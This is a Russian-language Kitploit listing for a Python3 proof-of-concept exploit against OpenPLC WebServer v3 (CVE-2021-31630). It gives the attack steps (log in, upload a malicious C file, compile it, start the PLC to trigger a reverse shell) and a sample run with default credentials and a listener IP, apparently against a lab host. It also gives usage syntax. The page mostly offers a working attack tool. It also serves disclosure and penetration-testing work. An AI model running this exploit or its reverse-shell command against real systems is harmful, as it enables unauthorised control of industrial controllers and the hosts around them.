CVE-2021-31630 — POC-эксплойт для CVE-2021-31630, написанный на Python3 и использующий C reverse shell в неблокирующем режиме. | Kitploit

Поделиться

OpenPLC WebServer v3 - Аутентифицированное удаленное выполнение кода (CVE-2021-31630)

Этот эксплойт основан на эксплойте с Exploit-DB от Fellipe Oliveira.

Сначала аутентифицируйтесь
Загрузите вредоносный C-файл
Скомпилируйте его
Запустите ПЛК (инициируйте reverse shell)
Остановите ПЛК (нет необходимости запускать его, reverse shell уже инициирован)

└─# python3 custom_exploit.py --url http://10.10.11.7:8080 --username openplc --password openplc --listenerip 10.10.16.4 --listenerport 8888
[*] Authenticated.
[*] C file uploaded. Waiting for compilation.
[*] Compiled, probably.
[*] Started PLC, you should get your reverse shell now.
[*] Stopped PLC.

Как использовать

python3 exploit.py --url <> --username <> --password <> --listenerip <> --listenerport <>

Опции:

--url - URL OpenPLC